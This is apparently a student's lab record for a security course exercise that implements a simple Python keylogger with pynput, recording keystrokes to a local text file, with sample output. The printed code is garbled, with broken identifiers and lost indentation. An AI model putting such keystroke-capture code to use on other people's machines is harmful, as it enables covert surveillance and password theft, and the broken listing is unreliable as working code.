Ex.No: 4 Key Loggers Reg. No.: 210701264

Date:

AIM:

To implement a keylogger to record the keystrokes.

ALGORITHM:

- 1. Import 'Key' and 'Listener' from 'pynput.keyboard'.
- 2. Create an empty list 'the_keys' to store pressed keys.
- 3. Define 'functionPerKey(key)' to append pressed keys to 'the keys' and write them to a file.
- 4. Define 'storeKeysToFile(keys)' to write keys to a log file.
- 5. Define `onEachKeyRelease(the_key)` to stop the keylogger when "Esc" key is pressed.

PROGRAM:

```
# importing the required modules
from pynput.keyboard import Key
from pynput.keyboard import Listener
# creating an empty list to store pressed keys
the keys = []
# creating a function that defines what to do on each key press
def functionPerKey(key):
# appending each pressed key to a list
the keys.append(key)
# writing list to file after each key pressed
storeKeysToFile(the_keys)
# defining the function to write keys to the log file
def storeKeysToFile(keys):
with open(r'C:\Users\REC\Desktop\keylog.txt','w') as log:
for the key in keys:
the key = str(the key).replace("'", "")
log.write(the key)
def onEachKeyRelease(the key):
# In case, the key is " Esc" then stopping the keylogger
if the key == Key.esc:
```

```
return False
with Listener(
on_press = functionPerKey,
on_release = onEachKeyRelease
) as the_listener:
the listener.join()
```

OUTPUT:

Keyloggers.py

```
Python 3.11.5 (tags/v3.11.5:cce6ba9, Aug 24 2023, 14:38:34) [MSC v.1936 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license()" for more information.

== RESTART: C:/Users/REC/AppData/Local/Programs/Python/Python311/keyloggers.py =
k
...
== RESTART: C:/Users/REC/AppData/Local/Programs/Python/Python311/keyloggers.py =
g
...
w
== RESTART: C:/Users/REC/AppData/Local/Programs/Python/Python311/keyloggers.py =
g
...
w
```

keylog.txt:

```
gKey.enterwKey.entereKey.enter`Key.backspaceKey.esc
```

RESULT: